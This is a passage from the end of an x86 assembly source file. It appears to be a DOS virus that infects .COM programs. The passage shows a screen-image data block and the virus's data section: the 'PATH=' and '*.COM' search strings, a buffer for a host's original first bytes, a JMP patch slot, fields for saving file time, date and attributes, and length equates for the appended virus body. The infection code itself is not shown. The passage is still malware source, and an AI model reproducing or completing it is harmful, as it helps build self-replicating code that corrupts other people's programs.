DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,'<27>',6,'<27>',6,'<27>',6,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',6,' ',6,' ',6,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' '
DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' '
DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' '
DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' '
DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' '
DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' '
DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' '
DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' '
DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' '
DB 6,' ',6
olddta_ DW 0
olddts_ DW 0
oldtim_ DW 0
oldate_ DW 0
oldatt_ DW 0
first3_ EQU $
INT 20H
NOP
jmpop_ DB 0E9H
jmpdsp_ DW 0
pathad_ DW 0
namptr_ DW 0
envstr_ DB 'PATH='
fspec_ DB '*.COM',0
wrkspc_ DB 40h dup (0)
dta_ DB 16h dup (0)
dtatim_ DW 0,0
dtalen_ DW 0,0
dtanam_ DB 0Dh dup (0)
lst_byt EQU $
virlen = lst_byt - v_start
codelen = vir_dat - v_start
c_len_x = vir_dat - v_start - 2
c_len_y = vir_dat - v_start + 100H
old_dta = olddta_ - vir_dat
old_dts = olddts_ - vir_dat
old_tim = oldtim_ - vir_dat
ol_date = oldate_ - vir_dat
old_att = oldatt_ - vir_dat
first_3 = first3_ - vir_dat
jmp_op = jmpop_ - vir_dat
jmp_dsp = jmpdsp_ - vir_dat
f_spec = fspec_ - vir_dat
path_ad = pathad_ - vir_dat
nam_ptr = namptr_ - vir_dat
env_str = envstr_ - vir_dat
wrk_spc = wrkspc_ - vir_dat
dta = dta_ - vir_dat
dta_tim = dtatim_ - vir_dat
dta_len = dtalen_ - vir_dat
dta_nam = dtanam_ - vir_dat
CODE ENDS
END VCODE